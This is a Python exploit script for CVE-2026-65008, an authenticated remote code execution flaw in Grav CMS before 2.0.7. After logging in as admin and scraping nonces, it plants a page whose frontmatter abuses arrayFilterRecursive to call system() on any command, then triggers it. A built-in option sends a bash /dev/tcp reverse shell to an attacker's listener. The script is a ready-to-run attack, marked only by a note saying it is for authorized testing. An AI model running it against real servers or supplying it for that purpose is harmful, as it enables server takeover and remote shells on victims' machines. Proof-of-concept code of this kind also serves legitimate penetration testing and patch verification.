#!/usr/bin/env python3
# Exploit Title: Grav CMS 2.0.7 - Remote Code Execution
# Date: 2026-07-27
# Exploit Author: zer0dayf
# Vendor Homepage: https://getgrav.org/
# Software Link: https://github.com/getgrav/grav
# Version: Grav CMS < 2.0.7
# Tested on: Ubuntu 22.04 / PHP 8.2
# CVE : CVE-2026-65008
"""
CVE-2026-65008 - Grav CMS < 2.0.7 Authenticated RCE
via Blueprint::dynamicData() + arrayFilterRecursive trampoline
Lab / authorized testing only.
"""
import argparse
import re
import sys
import time
from urllib.parse import urljoin
import requests
requests.packages.urllib3.disable_warnings()
BANNER = r""" . * . * GRAVITY FAIL * . *
_____
.-' '-.
/ RCE INSIDE \
| system(\"id\")|
\ www-data /
'-._______.-'
CVE-2026-65008 | Blueprint went brrr
"""
class GravExploit:
def __init__(self, base_url, username, password, verify=False):
self.base_url = base_url.rstrip("/")
self.username = username
self.password = password
self.session = requests.Session()
self.session.verify = verify
self.session.headers.update({
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36"
})
self.nonce = None
def login(self):
print("[*] Logging in...")
login_url = urljoin(self.base_url, "/admin")
r = self.session.get(login_url, timeout=15)
match = re.search(r'name=["\']login-nonce["\']\s+value=["\']([a-f0-9]+)["\']', r.text)
if not match:
print("[-] login-nonce not found")
return False
data = {
"data[username]": self.username,
"data[password]": self.password,
"task": "login",
"login-nonce": match.group(1)
}
r = self.session.post(login_url, data=data, allow_redirects=True, timeout=15)
if "login-nonce" in r.text and "data[username]" in r.text:
print("[-] Login failed")
return False
print("[+] Login successful")
return True
def get_admin_nonce(self):
r = self.session.get(urljoin(self.base_url, "/admin"), timeout=15)
patterns = [
r"admin_nonce:\s*['\"]([a-f0-9]+)['\"]",
r"admin-nonce:([a-f0-9]+)",
r'name=["\']admin-nonce["\']\s+value=["\']([a-f0-9]+)["\']',
]
for pattern in patterns:
match = re.search(pattern, r.text)
if match:
self.nonce = match.group(1)
return True
return False
def plant(self, command, folder="rcepoc"):
print(f"[*] Planting payload → {command[:70]}{'...' if len(command) > 70 else ''}")
if not self.get_admin_nonce():
print("[-] Could not get admin-nonce")
return False
safe_cmd = command.replace("'", "'\\''")
frontmatter = f"""forms:
x:
fields:
y:
type: text
data-opts@:
- 'Grav\\Common\\Utils::arrayFilterRecursive'
- {{ '{safe_cmd}': 'x' }}
- system"""
data = {
"task": "save",
"admin-nonce": self.nonce,
"form-nonce": self.nonce,
"data[folder]": folder,
"data[name]": "form",
"data[title]": "RCE",
"data[content]": "pwned",
"data[frontmatter]": frontmatter
}
url = urljoin(self.base_url, f"/admin/pages/{folder}")
r = self.session.post(url, data=data, timeout=15)
if r.status_code not in (200, 302):
print(f"[-] Plant failed (HTTP {r.status_code})")
return False
print("[+] Payload planted")
return True
def trigger(self, folder="rcepoc", timeout=8):
print("[*] Triggering payload...")
try:
r = requests.get(
urljoin(self.base_url, f"/{folder}"),
timeout=timeout,
verify=False
)
return r.text, False # (body, timed_out)
except requests.exceptions.ReadTimeout:
return None, True # timed out = muhtemel shell
except Exception as e:
print(f"[-] Trigger error: {e}")
return None, False
def run_cmd(self, command, folder="rcepoc"):
if not self.plant(command, folder):
return None
time.sleep(0.5)
body, timed_out = self.trigger(folder, timeout=12)
if timed_out:
print("[!] Request timed out (command may still have run)")
return body
def reverse_shell(self, lhost, lport, folder="rcepoc"):
payload = f'bash -c "bash -i >& /dev/tcp/{lhost}/{lport} 0>&1"'
print(f"[*] Reverse shell target → {lhost}:{lport}")
print(f"[!] Make sure listener is running: nc -lvnp {lport}")
print(f"[*] Payload: {payload}")
if not self.plant(payload, folder):
print("[-] Failed to plant reverse shell payload")
return False
time.sleep(0.6)
body, timed_out = self.trigger(folder, timeout=6)
if timed_out:
print("[+] Request timed out → reverse shell likely connected!")
print("[+] Check your nc listener.")
return True
else:
print("[-] Request finished without timeout.")
print("[-] Reverse shell probably FAILED (listener empty?).")
if body:
# Komut çıktısı geldiyse göster (hata mesajı olabilir)
snippet = body[:300].replace("\n", " ")
print(f"[*] Response snippet: {snippet}")
return False
def main():
print(BANNER)
parser = argparse.ArgumentParser(description="CVE-2026-65008 Grav CMS Authenticated RCE")
parser.add_argument("-u", "--url", required=True, help="Target URL")
parser.add_argument("-U", "--username", default="admin", help="Username")
parser.add_argument("-P", "--password", required=True, help="Password")
parser.add_argument("-c", "--command", default="id", help="Command to execute")
parser.add_argument("--lhost", help="Reverse shell LHOST")
parser.add_argument("--lport", type=int, default=4444, help="Reverse shell LPORT")
parser.add_argument("--folder", default="rcepoc", help="Page folder name")
parser.add_argument("--no-verify", action="store_true", help="Disable TLS verification")
args = parser.parse_args()
exploit = GravExploit(args.url, args.username, args.password, verify=not args.no_verify)
if not exploit.login():
sys.exit(1)
if args.lhost:
ok = exploit.reverse_shell(args.lhost, args.lport, folder=args.folder)
sys.exit(0 if ok else 1)
output = exploit.run_cmd(args.command, folder=args.folder)
if output:
print("\n" + "=" * 60)
for line in output.splitlines()[:20]:
if line.strip() and not line.strip().startswith("<"):
print(line)
print("=" * 60)
print("[+] Done")
else:
print("[-] No usable output")
if __name__ == "__main__":
main()